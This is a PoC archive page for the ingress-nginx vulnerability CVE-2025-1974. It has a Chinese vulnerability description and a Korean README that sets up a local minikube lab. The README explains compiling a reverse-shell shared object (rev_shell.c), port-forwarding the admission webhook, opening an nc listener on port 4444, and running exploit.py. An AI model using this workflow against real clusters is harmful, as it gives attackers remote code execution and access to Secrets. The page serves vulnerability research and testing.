关联漏洞
标题:
Kubernetes ingress-nginx 安全漏洞
(CVE-2025-1974)
描述:Kubernetes ingress-nginx是云原生计算基金会(Cloud Native Computing Foundation)开源的Kubernetes 的入口控制器,使用NGINX作为反向代理和负载均衡器。 Kubernetes ingress-nginx存在安全漏洞,该漏洞源于在某些条件下,未认证的攻击者可通过访问pod网络在ingress-nginx控制器环境中执行任意代码,可能导致Secrets泄露。
描述
CVE-2025-1974 PoC 코드
介绍
# CVE-2025-1974: Kubernetes Ingress Nginx Controller 취약점 분석 및 PoC 환경 구축
## 테스트 환경
- MacOS (M2)
- Ingress NGINX Controller 1.11.3
- Rancher Desktop (Docker)
- Minikube (Kubernetes)
## 로컬 테스트 환경 세팅(M2 MacOS)
로컬 테스트를 위해 minikube를 설치
`minikube start --driver=docker`
아래 명령어로 ingress-nginx-controller를 구성
`kubectl apply -f ingress-nginx-controller.yml`
## port forwarding
Pods가 잘 동작하고잇는지 확인
`kubectl get pods -n ingress-nginx`
`kubectl describe <pod name> -n ingress-nginx`
Pods의 80, 8443(webhook)포트를 로컬의 8888, 1337 포트로 포트포워딩
(포트포워딩 80, 8443 모두 필요)
`kubectl port-forward -n ingress-nginx <pod name> 8888:80`
`kubectl port-forward -n ingress-nginx <pod name> 1337:8443`
## so(shard object library) 준비
rev_shell.c 에서 리버스쉘을 연결한 IP, Port 변경
MacOS(arm64)환경에서 컴파일, 테스트할 환경에 맞게 컴파일 필요
`aarch64-linux-gnu-gcc -shared -fPIC -o rev_shell.so rev_shell.c`
```
# 크로스컴파일러 설치
brew tap messense/macos-cross-toolchains
brew install aarch64-linux-gnu
```
## AdmissionReview 생성(선택, 기존의 생성된 파일을 이용해도 무방)
kube-review로 AdmissionReview 형태로 변환 (json)
`./kube-review-darwin-arm64 create admission_test.yml > admission_review_req_body.json`
## Exploit
리버스쉘을 위해 nc로 리버스쉘 연결 준비
`nc -lv 4444`
exploit.py에서 nginx, webhook의 host 및 port를 수정 후 실행
`python3 exploit.py`

文件快照
[4.0K] /data/pocs/9e43d1ac337b20740225f4aa86556d99dff98097
├── [1.8K] admission_review_req_body.json
├── [ 393] admission_test.yml
├── [2.8K] exploit.py
├── [103K] img.png
├── [ 17K] ingress-nginx-controller.yml
├── [1.6K] README.md
├── [ 32] requirements.txt
├── [1.5K] rev_shell.c
└── [ 10K] rev_shell.so
0 directories, 9 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。